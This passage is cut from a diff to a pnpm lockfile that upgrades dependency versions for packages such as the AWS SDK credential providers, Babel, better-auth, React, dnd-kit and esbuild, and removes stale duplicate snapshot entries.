+      '@aws-sdk/credential-provider-http': 3.972.71
+      '@aws-sdk/credential-provider-ini': 3.973.14
+      '@aws-sdk/credential-provider-process': 3.972.69
+      '@aws-sdk/credential-provider-sso': 3.973.13
+      '@aws-sdk/credential-provider-web-identity': 3.972.75
+      '@aws-sdk/types': 3.974.4
+      '@smithy/core': 3.33.2
+      '@smithy/credential-provider-imds': 4.5.2
+      '@smithy/types': 4.17.2
       tslib: 2.8.1
 
-  '@aws-sdk/credential-provider-process@3.972.68':
+  '@aws-sdk/credential-provider-process@3.972.69':
     dependencies:
-      '@aws-sdk/core': 3.977.7
-      '@aws-sdk/types': 3.974.3
-      '@smithy/core': 3.32.0
-      '@smithy/types': 4.17.0
+      '@aws-sdk/core': 3.977.8
+      '@aws-sdk/types': 3.974.4
+      '@smithy/core': 3.33.2
+      '@smithy/types': 4.17.2
       tslib: 2.8.1
 
-  '@aws-sdk/credential-provider-sso@3.973.12':
+  '@aws-sdk/credential-provider-sso@3.973.13':
     dependencies:
-      '@aws-sdk/core': 3.977.7
-      '@aws-sdk/nested-clients': 3.997.42
-      '@aws-sdk/token-providers': 3.1108.0
-      '@aws-sdk/types': 3.974.3
-      '@smithy/core': 3.32.0
-      '@smithy/types': 4.17.0
+      '@aws-sdk/core': 3.977.8
+      '@aws-sdk/nested-clients': 3.997.43
+      '@aws-sdk/token-providers': 3.1111.0
+      '@aws-sdk/types': 3.974.4
+      '@smithy/core': 3.33.2
+      '@smithy/types': 4.17.2
       tslib: 2.8.1
 
-  '@aws-sdk/credential-provider-web-identity@3.972.74':
+  '@aws-sdk/credential-provider-web-identity@3.972.75':
     dependencies:
-      '@aws-sdk/core': 3.977.7
-      '@aws-sdk/nested-clients': 3.997.42
-      '@aws-sdk/types': 3.974.3
-      '@smithy/core': 3.32.0
-      '@smithy/types': 4.17.0
+      '@aws-sdk/core': 3.977.8
+      '@aws-sdk/nested-clients': 3.997.43
+      '@aws-sdk/types': 3.974.4
+      '@smithy/core': 3.33.2
+      '@smithy/types': 4.17.2
       tslib: 2.8.1
 
-  '@aws-sdk/middleware-sdk-s3@3.972.73':
+  '@aws-sdk/middleware-sdk-s3@3.972.74':
     dependencies:
-      '@aws-sdk/core': 3.977.7
-      '@aws-sdk/signature-v4-multi-region': 3.996.44
-      '@aws-sdk/types': 3.974.3
-      '@smithy/core': 3.32.0
-      '@smithy/types': 4.17.0
+      '@aws-sdk/core': 3.977.8
+      '@aws-sdk/signature-v4-multi-region': 3.996.45
+      '@aws-sdk/types': 3.974.4
+      '@smithy/core': 3.33.2
+      '@smithy/types': 4.17.2
       tslib: 2.8.1
 
-  '@aws-sdk/nested-clients@3.997.42':
+  '@aws-sdk/nested-clients@3.997.43':
     dependencies:
-      '@aws-sdk/core': 3.977.7
-      '@aws-sdk/signature-v4-multi-region': 3.996.44
-      '@aws-sdk/types': 3.974.3
-      '@smithy/core': 3.32.0
-      '@smithy/fetch-http-handler': 5.7.0
-      '@smithy/node-http-handler': 4.10.0
-      '@smithy/types': 4.17.0
+      '@aws-sdk/core': 3.977.8
+      '@aws-sdk/signature-v4-multi-region': 3.996.45
+      '@aws-sdk/types': 3.974.4
+      '@smithy/core': 3.33.2
+      '@smithy/fetch-http-handler': 5.7.2
+      '@smithy/node-http-handler': 4.11.2
+      '@smithy/types': 4.17.2
       tslib: 2.8.1
 
-  '@aws-sdk/signature-v4-multi-region@3.996.44':
+  '@aws-sdk/signature-v4-multi-region@3.996.45':
     dependencies:
-      '@aws-sdk/types': 3.974.3
-      '@smithy/signature-v4': 5.7.0
-      '@smithy/types': 4.17.0
+      '@aws-sdk/types': 3.974.4
+      '@smithy/signature-v4': 5.7.2
+      '@smithy/types': 4.17.2
       tslib: 2.8.1
 
-  '@aws-sdk/token-providers@3.1108.0':
+  '@aws-sdk/token-providers@3.1111.0':
     dependencies:
-      '@aws-sdk/core': 3.977.7
-      '@aws-sdk/nested-clients': 3.997.42
-      '@aws-sdk/types': 3.974.3
-      '@smithy/core': 3.32.0
-      '@smithy/types': 4.17.0
+      '@aws-sdk/core': 3.977.8
+      '@aws-sdk/nested-clients': 3.997.43
+      '@aws-sdk/types': 3.974.4
+      '@smithy/core': 3.33.2
+      '@smithy/types': 4.17.2
       tslib: 2.8.1
 
-  '@aws-sdk/types@3.974.3':
+  '@aws-sdk/types@3.974.4':
     dependencies:
-      '@smithy/types': 4.17.0
+      '@smithy/types': 4.17.2
       tslib: 2.8.1
 
-  '@aws-sdk/xml-builder@3.972.38':
+  '@aws-sdk/xml-builder@3.972.39':
     dependencies:
-      '@smithy/types': 4.17.0
+      '@smithy/types': 4.17.2
       tslib: 2.8.1
 
   '@aws/lambda-invoke-store@0.3.0': {}
 
-  '@babel/code-frame@7.29.0':
-    dependencies:
-      '@babel/helper-validator-identifier': 7.28.5
-      js-tokens: 4.0.0
-      picocolors: 1.1.1
-
   '@babel/code-frame@7.29.7':
     dependencies:
       '@babel/helper-validator-identifier': 7.29.7
       js-tokens: 4.0.0
       picocolors: 1.1.1
 
-  '@babel/compat-data@7.29.0': {}
-
   '@babel/compat-data@7.29.7': {}
 
-  '@babel/core@7.29.0':
-    dependencies:
-      '@babel/code-frame': 7.29.0
-      '@babel/generator': 7.29.1
-      '@babel/helper-compilation-targets': 7.28.6
-      '@babel/helper-module-transforms': 7.28.6(@babel/core@7.29.0)
-      '@babel/helpers': 7.28.6
-      '@babel/parser': 7.29.0
-      '@babel/template': 7.28.6
-      '@babel/traverse': 7.29.0
-      '@babel/types': 7.29.0
-      '@jridgewell/remapping': 2.3.5
-      convert-source-map: 2.0.0
-      debug: 4.4.3
-      gensync: 1.0.0-beta.2
-      json5: 2.2.3
-      semver: 6.3.1
-    transitivePeerDependencies:
-      - supports-color
-
   '@babel/core@7.29.7':
     dependencies:
       '@babel/code-frame': 7.29.7
-      '@babel/generator': 7.29.7
+      '@babel/generator': 7.29.8
       '@babel/helper-compilation-targets': 7.29.7
       '@babel/helper-module-transforms': 7.29.7(@babel/core@7.29.7)
       '@babel/helpers': 7.29.7
-      '@babel/parser': 7.29.7
+      '@babel/parser': 7.29.8
       '@babel/template': 7.29.7
-      '@babel/traverse': 7.29.7
-      '@babel/types': 7.29.7
+      '@babel/traverse': 7.29.8
+      '@babel/types': 7.29.8
       '@jridgewell/remapping': 2.3.5
       convert-source-map: 2.0.0
       debug: 4.4.3
@@ -9060,62 +9465,28 @@ snapshots:
     transitivePeerDependencies:
       - supports-color
 
-  '@babel/generator@7.29.1':
+  '@babel/generator@7.29.8':
     dependencies:
-      '@babel/parser': 7.29.0
-      '@babel/types': 7.29.0
+      '@babel/parser': 7.29.8
+      '@babel/types': 7.29.8
       '@jridgewell/gen-mapping': 0.3.13
       '@jridgewell/trace-mapping': 0.3.31
       jsesc: 3.1.0
 
-  '@babel/generator@7.29.7':
-    dependencies:
-      '@babel/parser': 7.29.7
-      '@babel/types': 7.29.7
-      '@jridgewell/gen-mapping': 0.3.13
-      '@jridgewell/trace-mapping': 0.3.31
-      jsesc: 3.1.0
-
-  '@babel/helper-compilation-targets@7.28.6':
-    dependencies:
-      '@babel/compat-data': 7.29.0
-      '@babel/helper-validator-option': 7.27.1
-      browserslist: 4.28.1
-      lru-cache: 5.1.1
-      semver: 6.3.1
-
   '@babel/helper-compilation-targets@7.29.7':
     dependencies:
       '@babel/compat-data': 7.29.7
       '@babel/helper-validator-option': 7.29.7
-      browserslist: 4.28.6
+      browserslist: 4.28.8
       lru-cache: 5.1.1
       semver: 6.3.1
 
-  '@babel/helper-globals@7.28.0': {}
-
   '@babel/helper-globals@7.29.7': {}
 
-  '@babel/helper-module-imports@7.28.6':
-    dependencies:
-      '@babel/traverse': 7.29.7
-      '@babel/types': 7.29.7
-    transitivePeerDependencies:
-      - supports-color
-
   '@babel/helper-module-imports@7.29.7':
     dependencies:
-      '@babel/traverse': 7.29.7
-      '@babel/types': 7.29.7
-    transitivePeerDependencies:
-      - supports-color
-
-  '@babel/helper-module-transforms@7.28.6(@babel/core@7.29.0)':
-    dependencies:
-      '@babel/core': 7.29.0
-      '@babel/helper-module-imports': 7.28.6
-      '@babel/helper-validator-identifier': 7.28.5
-      '@babel/traverse': 7.29.0
+      '@babel/traverse': 7.29.8
+      '@babel/types': 7.29.8
     transitivePeerDependencies:
       - supports-color
 
@@ -9124,11 +9495,11 @@ snapshots:
       '@babel/core': 7.29.7
       '@babel/helper-module-imports': 7.29.7
       '@babel/helper-validator-identifier': 7.29.7
-      '@babel/traverse': 7.29.7
+      '@babel/traverse': 7.29.8
     transitivePeerDependencies:
       - supports-color
 
-  '@babel/helper-plugin-utils@7.28.6': {}
+  '@babel/helper-plugin-utils@7.29.7': {}
 
   '@babel/helper-string-parser@7.27.1': {}
 
@@ -9138,72 +9509,43 @@ snapshots:
 
   '@babel/helper-validator-identifier@7.29.7': {}
 
-  '@babel/helper-validator-option@7.27.1': {}
-
   '@babel/helper-validator-option@7.29.7': {}
 
-  '@babel/helpers@7.28.6':
-    dependencies:
-      '@babel/template': 7.28.6
-      '@babel/types': 7.29.0
-
   '@babel/helpers@7.29.7':
     dependencies:
       '@babel/template': 7.29.7
-      '@babel/types': 7.29.7
+      '@babel/types': 7.29.8
 
-  '@babel/parser@7.29.0':
+  '@babel/parser@7.29.8':
     dependencies:
-      '@babel/types': 7.29.0
+      '@babel/types': 7.29.8
 
-  '@babel/parser@7.29.7':
+  '@babel/plugin-transform-react-jsx-self@7.29.7(@babel/core@7.29.7)':
     dependencies:
-      '@babel/types': 7.29.7
+      '@babel/core': 7.29.7
+      '@babel/helper-plugin-utils': 7.29.7
 
-  '@babel/plugin-transform-react-jsx-self@7.27.1(@babel/core@7.29.0)':
+  '@babel/plugin-transform-react-jsx-source@7.29.7(@babel/core@7.29.7)':
     dependencies:
-      '@babel/core': 7.29.0
-      '@babel/helper-plugin-utils': 7.28.6
-
-  '@babel/plugin-transform-react-jsx-source@7.27.1(@babel/core@7.29.0)':
-    dependencies:
-      '@babel/core': 7.29.0
-      '@babel/helper-plugin-utils': 7.28.6
+      '@babel/core': 7.29.7
+      '@babel/helper-plugin-utils': 7.29.7
 
   '@babel/runtime@7.29.7': {}
 
-  '@babel/template@7.28.6':
-    dependencies:
-      '@babel/code-frame': 7.29.0
-      '@babel/parser': 7.29.0
-      '@babel/types': 7.29.0
-
   '@babel/template@7.29.7':
     dependencies:
       '@babel/code-frame': 7.29.7
-      '@babel/parser': 7.29.7
-      '@babel/types': 7.29.7
+      '@babel/parser': 7.29.8
+      '@babel/types': 7.29.8
 
-  '@babel/traverse@7.29.0':
-    dependencies:
-      '@babel/code-frame': 7.29.0
-      '@babel/generator': 7.29.1
-      '@babel/helper-globals': 7.28.0
-      '@babel/parser': 7.29.0
-      '@babel/template': 7.28.6
-      '@babel/types': 7.29.0
-      debug: 4.4.3
-    transitivePeerDependencies:
-      - supports-color
-
-  '@babel/traverse@7.29.7':
+  '@babel/traverse@7.29.8':
     dependencies:
       '@babel/code-frame': 7.29.7
-      '@babel/generator': 7.29.7
+      '@babel/generator': 7.29.8
       '@babel/helper-globals': 7.29.7
-      '@babel/parser': 7.29.7
+      '@babel/parser': 7.29.8
       '@babel/template': 7.29.7
-      '@babel/types': 7.29.7
+      '@babel/types': 7.29.8
       debug: 4.4.3
     transitivePeerDependencies:
       - supports-color
@@ -9213,86 +9555,90 @@ snapshots:
       '@babel/helper-string-parser': 7.27.1
       '@babel/helper-validator-identifier': 7.28.5
 
-  '@babel/types@7.29.7':
+  '@babel/types@7.29.8':
     dependencies:
       '@babel/helper-string-parser': 7.29.7
       '@babel/helper-validator-identifier': 7.29.7
 
-  '@base-ui/react@1.6.0(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@base-ui/react@1.7.0(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
       '@babel/runtime': 7.29.7
-      '@base-ui/utils': 0.3.1(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@floating-ui/react-dom': 2.1.9(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
+      '@base-ui/utils': 0.3.2(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@floating-ui/react-dom': 2.1.9(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
       '@floating-ui/utils': 0.2.12
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
-      use-sync-external-store: 1.6.0(react@19.2.7)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
+      use-sync-external-store: 1.6.0(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
+      '@types/react': 19.2.18
 
-  '@base-ui/utils@0.3.1(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@base-ui/utils@0.3.2(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
       '@babel/runtime': 7.29.7
       '@floating-ui/utils': 0.2.12
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
       reselect: 5.2.0
-      use-sync-external-store: 1.6.0(react@19.2.7)
+      use-sync-external-store: 1.6.0(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
+      '@types/react': 19.2.18
 
-  '@better-auth/core@1.6.25(@better-auth/utils@0.4.2)(@better-fetch/fetch@1.3.1)(@opentelemetry/api@1.9.1)(better-call@1.3.7(zod@3.25.76))(jose@6.2.4)(kysely@0.29.4)(nanostores@1.4.1)':
+  '@better-auth/core@1.6.28(@better-auth/utils@0.4.2)(@better-fetch/fetch@1.3.1)(@opentelemetry/api@1.9.1)(better-call@1.4.0(zod@4.4.3))(jose@6.2.9)(kysely@0.29.5)(nanostores@1.5.0)':
     dependencies:
       '@better-auth/utils': 0.4.2
       '@better-fetch/fetch': 1.3.1
       '@opentelemetry/semantic-conventions': 1.43.0
       '@standard-schema/spec': 1.1.0
-      better-call: 1.3.7(zod@4.4.3)
-      jose: 6.2.4
-      kysely: 0.29.4
-      nanostores: 1.4.1
+      better-call: 1.4.0(zod@4.4.3)
+      jose: 6.2.9
+      kysely: 0.29.5
+      nanostores: 1.5.0
       zod: 4.4.3
     optionalDependencies:
       '@opentelemetry/api': 1.9.1
 
-  '@better-auth/drizzle-adapter@1.6.25(@better-auth/core@1.6.25(@better-auth/utils@0.4.2)(@better-fetch/fetch@1.3.1)(@opentelemetry/api@1.9.1)(better-call@1.3.7(zod@3.25.76))(jose@6.2.4)(kysely@0.29.4)(nanostores@1.4.1))(@better-auth/utils@0.4.2)(drizzle-orm@0.45.2(@electric-sql/pglite@0.3.15)(@opentelemetry/api@1.9.1)(kysely@0.29.4)(pg@8.18.0)(postgres@3.4.9)(sqlite3@5.1.7))':
+  '@better-auth/drizzle-adapter@1.6.28(@better-auth/core@1.6.28(@better-auth/utils@0.4.2)(@better-fetch/fetch@1.3.1)(@opentelemetry/api@1.9.1)(better-call@1.4.0(zod@4.4.3))(jose@6.2.9)(kysely@0.29.5)(nanostores@1.5.0))(@better-auth/utils@0.4.2)(drizzle-orm@0.45.2(@electric-sql/pglite@0.3.15)(@opentelemetry/api@1.9.1)(kysely@0.29.5)(pg@8.18.0)(postgres@3.4.9)(sqlite3@5.1.7))':
     dependencies:
-      '@better-auth/core': 1.6.25(@better-auth/utils@0.4.2)(@better-fetch/fetch@1.3.1)(@opentelemetry/api@1.9.1)(better-call@1.3.7(zod@3.25.76))(jose@6.2.4)(kysely@0.29.4)(nanostores@1.4.1)
+      '@better-auth/core': 1.6.28(@better-auth/utils@0.4.2)(@better-fetch/fetch@1.3.1)(@opentelemetry/api@1.9.1)(better-call@1.4.0(zod@4.4.3))(jose@6.2.9)(kysely@0.29.5)(nanostores@1.5.0)
       '@better-auth/utils': 0.4.2
     optionalDependencies:
-      drizzle-orm: 0.45.2(@electric-sql/pglite@0.3.15)(@opentelemetry/api@1.9.1)(kysely@0.29.4)(pg@8.18.0)(postgres@3.4.9)(sqlite3@5.1.7)
+      drizzle-orm: 0.45.2(@electric-sql/pglite@0.3.15)(@opentelemetry/api@1.9.1)(kysely@0.29.5)(pg@8.18.0)(postgres@3.4.9)(sqlite3@5.1.7)
 
-  '@better-auth/kysely-adapter@1.6.25(@better-auth/core@1.6.25(@better-auth/utils@0.4.2)(@better-fetch/fetch@1.3.1)(@opentelemetry/api@1.9.1)(better-call@1.3.7(zod@3.25.76))(jose@6.2.4)(kysely@0.29.4)(nanostores@1.4.1))(@better-auth/utils@0.4.2)(kysely@0.29.4)':
+  '@better-auth/kysely-adapter@1.6.28(@better-auth/core@1.6.28(@better-auth/utils@0.4.2)(@better-fetch/fetch@1.3.1)(@opentelemetry/api@1.9.1)(better-call@1.4.0(zod@4.4.3))(jose@6.2.9)(kysely@0.29.5)(nanostores@1.5.0))(@better-auth/utils@0.4.2)(kysely@0.29.5)':
     dependencies:
-      '@better-auth/core': 1.6.25(@better-auth/utils@0.4.2)(@better-fetch/fetch@1.3.1)(@opentelemetry/api@1.9.1)(better-call@1.3.7(zod@3.25.76))(jose@6.2.4)(kysely@0.29.4)(nanostores@1.4.1)
+      '@better-auth/core': 1.6.28(@better-auth/utils@0.4.2)(@better-fetch/fetch@1.3.1)(@opentelemetry/api@1.9.1)(better-call@1.4.0(zod@4.4.3))(jose@6.2.9)(kysely@0.29.5)(nanostores@1.5.0)
       '@better-auth/utils': 0.4.2
     optionalDependencies:
-      kysely: 0.29.4
+      kysely: 0.29.5
 
-  '@better-auth/memory-adapter@1.6.25(@better-auth/core@1.6.25(@better-auth/utils@0.4.2)(@better-fetch/fetch@1.3.1)(@opentelemetry/api@1.9.1)(better-call@1.3.7(zod@3.25.76))(jose@6.2.4)(kysely@0.29.4)(nanostores@1.4.1))(@better-auth/utils@0.4.2)':
+  '@better-auth/memory-adapter@1.6.28(@better-auth/core@1.6.28(@better-auth/utils@0.4.2)(@better-fetch/fetch@1.3.1)(@opentelemetry/api@1.9.1)(better-call@1.4.0(zod@4.4.3))(jose@6.2.9)(kysely@0.29.5)(nanostores@1.5.0))(@better-auth/utils@0.4.2)':
     dependencies:
-      '@better-auth/core': 1.6.25(@better-auth/utils@0.4.2)(@better-fetch/fetch@1.3.1)(@opentelemetry/api@1.9.1)(better-call@1.3.7(zod@3.25.76))(jose@6.2.4)(kysely@0.29.4)(nanostores@1.4.1)
+      '@better-auth/core': 1.6.28(@better-auth/utils@0.4.2)(@better-fetch/fetch@1.3.1)(@opentelemetry/api@1.9.1)(better-call@1.4.0(zod@4.4.3))(jose@6.2.9)(kysely@0.29.5)(nanostores@1.5.0)
       '@better-auth/utils': 0.4.2
 
-  '@better-auth/mongo-adapter@1.6.25(@better-auth/core@1.6.25(@better-auth/utils@0.4.2)(@better-fetch/fetch@1.3.1)(@opentelemetry/api@1.9.1)(better-call@1.3.7(zod@3.25.76))(jose@6.2.4)(kysely@0.29.4)(nanostores@1.4.1))(@better-auth/utils@0.4.2)':
+  '@better-auth/mongo-adapter@1.6.28(@better-auth/core@1.6.28(@better-auth/utils@0.4.2)(@better-fetch/fetch@1.3.1)(@opentelemetry/api@1.9.1)(better-call@1.4.0(zod@4.4.3))(jose@6.2.9)(kysely@0.29.5)(nanostores@1.5.0))(@better-auth/utils@0.4.2)':
     dependencies:
-      '@better-auth/core': 1.6.25(@better-auth/utils@0.4.2)(@better-fetch/fetch@1.3.1)(@opentelemetry/api@1.9.1)(better-call@1.3.7(zod@3.25.76))(jose@6.2.4)(kysely@0.29.4)(nanostores@1.4.1)
+      '@better-auth/core': 1.6.28(@better-auth/utils@0.4.2)(@better-fetch/fetch@1.3.1)(@opentelemetry/api@1.9.1)(better-call@1.4.0(zod@4.4.3))(jose@6.2.9)(kysely@0.29.5)(nanostores@1.5.0)
       '@better-auth/utils': 0.4.2
 
-  '@better-auth/prisma-adapter@1.6.25(@better-auth/core@1.6.25(@better-auth/utils@0.4.2)(@better-fetch/fetch@1.3.1)(@opentelemetry/api@1.9.1)(better-call@1.3.7(zod@3.25.76))(jose@6.2.4)(kysely@0.29.4)(nanostores@1.4.1))(@better-auth/utils@0.4.2)':
+  '@better-auth/prisma-adapter@1.6.28(@better-auth/core@1.6.28(@better-auth/utils@0.4.2)(@better-fetch/fetch@1.3.1)(@opentelemetry/api@1.9.1)(better-call@1.4.0(zod@4.4.3))(jose@6.2.9)(kysely@0.29.5)(nanostores@1.5.0))(@better-auth/utils@0.4.2)':
     dependencies:
-      '@better-auth/core': 1.6.25(@better-auth/utils@0.4.2)(@better-fetch/fetch@1.3.1)(@opentelemetry/api@1.9.1)(better-call@1.3.7(zod@3.25.76))(jose@6.2.4)(kysely@0.29.4)(nanostores@1.4.1)
+      '@better-auth/core': 1.6.28(@better-auth/utils@0.4.2)(@better-fetch/fetch@1.3.1)(@opentelemetry/api@1.9.1)(better-call@1.4.0(zod@4.4.3))(jose@6.2.9)(kysely@0.29.5)(nanostores@1.5.0)
       '@better-auth/utils': 0.4.2
 
-  '@better-auth/telemetry@1.6.25(@better-auth/core@1.6.25(@better-auth/utils@0.4.2)(@better-fetch/fetch@1.3.1)(@opentelemetry/api@1.9.1)(better-call@1.3.7(zod@3.25.76))(jose@6.2.4)(kysely@0.29.4)(nanostores@1.4.1))(@better-auth/utils@0.4.2)(@better-fetch/fetch@1.3.1)':
+  '@better-auth/telemetry@1.6.28(@better-auth/core@1.6.28(@better-auth/utils@0.4.2)(@better-fetch/fetch@1.3.1)(@opentelemetry/api@1.9.1)(better-call@1.4.0(zod@4.4.3))(jose@6.2.9)(kysely@0.29.5)(nanostores@1.5.0))(@better-auth/utils@0.4.2)(@better-fetch/fetch@1.3.1)':
     dependencies:
-      '@better-auth/core': 1.6.25(@better-auth/utils@0.4.2)(@better-fetch/fetch@1.3.1)(@opentelemetry/api@1.9.1)(better-call@1.3.7(zod@3.25.76))(jose@6.2.4)(kysely@0.29.4)(nanostores@1.4.1)
+      '@better-auth/core': 1.6.28(@better-auth/utils@0.4.2)(@better-fetch/fetch@1.3.1)(@opentelemetry/api@1.9.1)(better-call@1.4.0(zod@4.4.3))(jose@6.2.9)(kysely@0.29.5)(nanostores@1.5.0)
       '@better-auth/utils': 0.4.2
       '@better-fetch/fetch': 1.3.1
 
   '@better-auth/utils@0.4.2':
     dependencies:
-      '@noble/hashes': 2.2.0
+      '@noble/hashes': 2.3.0
+
+  '@better-auth/utils@0.5.0':
+    dependencies:
+      '@noble/hashes': 2.3.0
 
   '@better-fetch/fetch@1.3.1': {}
 
@@ -9306,22 +9652,11 @@ snapshots:
 
   '@chevrotain/types@11.1.2': {}
 
-  '@clack/core@0.5.0':
-    dependencies:
-      picocolors: 1.1.1
-      sisteransi: 1.0.5
-
   '@clack/core@1.4.3':
     dependencies:
       fast-wrap-ansi: 0.2.2
       sisteransi: 1.0.5
 
-  '@clack/prompts@0.11.0':
-    dependencies:
-      '@clack/core': 0.5.0
-      picocolors: 1.1.1
-      sisteransi: 1.0.5
-
   '@clack/prompts@1.7.0':
     dependencies:
       '@clack/core': 1.4.3
@@ -9622,7 +9957,7 @@ snapshots:
       outvariant: 1.4.0
       static-browser-server: 1.0.3
 
-  '@codesandbox/sandpack-react@2.20.0(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@codesandbox/sandpack-react@2.20.0(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
       '@codemirror/autocomplete': 6.20.3
       '@codemirror/commands': 6.10.3
@@ -9634,16 +9969,16 @@ snapshots:
       '@codemirror/view': 6.43.8
       '@codesandbox/sandpack-client': 2.19.8
       '@lezer/highlight': 1.2.3
-      '@react-hook/intersection-observer': 3.1.2(react@19.2.7)
+      '@react-hook/intersection-observer': 3.1.2(react@19.2.8)
       '@stitches/core': 1.2.8
       anser: 2.3.5
       clean-set: 1.1.2
       dequal: 2.0.3
       escape-carriage: 1.3.1
       lz-string: 1.5.0
-      react: 19.2.7
+      react: 19.2.8
       react-devtools-inline: 4.4.0
-      react-dom: 19.2.7(react@19.2.7)
+      react-dom: 19.2.8(react@19.2.8)
       react-is: 17.0.2
 
   '@connectrpc/connect-node@1.7.0(@bufbuild/protobuf@1.10.0)(@connectrpc/connect@1.7.0(@bufbuild/protobuf@1.10.0))':
@@ -9661,17 +9996,17 @@ snapshots:
     dependencies:
       '@bufbuild/protobuf': 1.10.0
 
-  '@csstools/color-helpers@6.0.2': {}
+  '@csstools/color-helpers@6.1.1': {}
 
-  '@csstools/css-calc@3.1.1(@csstools/css-parser-algorithms@4.0.0(@csstools/css-tokenizer@4.0.0))(@csstools/css-tokenizer@4.0.0)':
+  '@csstools/css-calc@3.3.0(@csstools/css-parser-algorithms@4.0.0(@csstools/css-tokenizer@4.0.0))(@csstools/css-tokenizer@4.0.0)':
     dependencies:
       '@csstools/css-parser-algorithms': 4.0.0(@csstools/css-tokenizer@4.0.0)
       '@csstools/css-tokenizer': 4.0.0
 
-  '@csstools/css-color-parser@4.0.2(@csstools/css-parser-algorithms@4.0.0(@csstools/css-tokenizer@4.0.0))(@csstools/css-tokenizer@4.0.0)':
+  '@csstools/css-color-parser@4.2.0(@csstools/css-parser-algorithms@4.0.0(@csstools/css-tokenizer@4.0.0))(@csstools/css-tokenizer@4.0.0)':
     dependencies:
-      '@csstools/color-helpers': 6.0.2
-      '@csstools/css-calc': 3.1.1(@csstools/css-parser-algorithms@4.0.0(@csstools/css-tokenizer@4.0.0))(@csstools/css-tokenizer@4.0.0)
+      '@csstools/color-helpers': 6.1.1
+      '@csstools/css-calc': 3.3.0(@csstools/css-parser-algorithms@4.0.0(@csstools/css-tokenizer@4.0.0))(@csstools/css-tokenizer@4.0.0)
       '@csstools/css-parser-algorithms': 4.0.0(@csstools/css-tokenizer@4.0.0)
       '@csstools/css-tokenizer': 4.0.0
 
@@ -9679,28 +10014,28 @@ snapshots:
     dependencies:
       '@csstools/css-tokenizer': 4.0.0
 
-  '@csstools/css-syntax-patches-for-csstree@1.1.1(css-tree@3.2.1)':
+  '@csstools/css-syntax-patches-for-csstree@1.1.8(css-tree@3.2.1)':
     optionalDependencies:
       css-tree: 3.2.1
 
   '@csstools/css-tokenizer@4.0.0': {}
 
-  '@cursor/sdk-darwin-arm64@1.0.24':
+  '@cursor/sdk-darwin-arm64@1.0.28':
     optional: true
 
-  '@cursor/sdk-darwin-x64@1.0.24':
+  '@cursor/sdk-darwin-x64@1.0.28':
     optional: true
 
-  '@cursor/sdk-linux-arm64@1.0.24':
+  '@cursor/sdk-linux-arm64@1.0.28':
     optional: true
 
-  '@cursor/sdk-linux-x64@1.0.24':
+  '@cursor/sdk-linux-x64@1.0.28':
     optional: true
 
-  '@cursor/sdk-win32-x64@1.0.24':
+  '@cursor/sdk-win32-x64@1.0.28':
     optional: true
 
-  '@cursor/sdk@1.0.24':
+  '@cursor/sdk@1.0.28':
     dependencies:
       '@bufbuild/protobuf': 1.10.0
       '@connectrpc/connect': 1.7.0(@bufbuild/protobuf@1.10.0)
@@ -9709,35 +10044,35 @@ snapshots:
       '@statsig/js-client': 3.31.0
       zod: 3.25.76
     optionalDependencies:
-      '@cursor/sdk-darwin-arm64': 1.0.24
-      '@cursor/sdk-darwin-x64': 1.0.24
-      '@cursor/sdk-linux-arm64': 1.0.24
-      '@cursor/sdk-linux-x64': 1.0.24
-      '@cursor/sdk-win32-x64': 1.0.24
+      '@cursor/sdk-darwin-arm64': 1.0.28
+      '@cursor/sdk-darwin-x64': 1.0.28
+      '@cursor/sdk-linux-arm64': 1.0.28
+      '@cursor/sdk-linux-x64': 1.0.28
+      '@cursor/sdk-win32-x64': 1.0.28
 
-  '@dnd-kit/accessibility@3.1.1(react@19.2.7)':
+  '@dnd-kit/accessibility@3.1.1(react@19.2.8)':
     dependencies:
-      react: 19.2.7
+      react: 19.2.8
       tslib: 2.8.1
 
-  '@dnd-kit/core@6.3.1(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@dnd-kit/core@6.3.1(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
-      '@dnd-kit/accessibility': 3.1.1(react@19.2.7)
-      '@dnd-kit/utilities': 3.2.2(react@19.2.7)
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
+      '@dnd-kit/accessibility': 3.1.1(react@19.2.8)
+      '@dnd-kit/utilities': 3.2.2(react@19.2.8)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
       tslib: 2.8.1
 
-  '@dnd-kit/sortable@10.0.0(@dnd-kit/core@6.3.1(react-dom@19.2.7(react@19.2.7))(react@19.2.7))(react@19.2.7)':
+  '@dnd-kit/sortable@10.0.0(@dnd-kit/core@6.3.1(react-dom@19.2.8(react@19.2.8))(react@19.2.8))(react@19.2.8)':
     dependencies:
-      '@dnd-kit/core': 6.3.1(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@dnd-kit/utilities': 3.2.2(react@19.2.7)
-      react: 19.2.7
+      '@dnd-kit/core': 6.3.1(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@dnd-kit/utilities': 3.2.2(react@19.2.8)
+      react: 19.2.8
       tslib: 2.8.1
 
-  '@dnd-kit/utilities@3.2.2(react@19.2.7)':
+  '@dnd-kit/utilities@3.2.2(react@19.2.8)':
     dependencies:
-      react: 19.2.7
+      react: 19.2.8
       tslib: 2.8.1
 
   '@drizzle-team/brocli@0.10.2': {}
@@ -9822,6 +10157,9 @@ snapshots:
   '@esbuild/aix-ppc64@0.28.1':
     optional: true
 
+  '@esbuild/aix-ppc64@0.28.2':
+    optional: true
+
   '@esbuild/android-arm64@0.18.20':
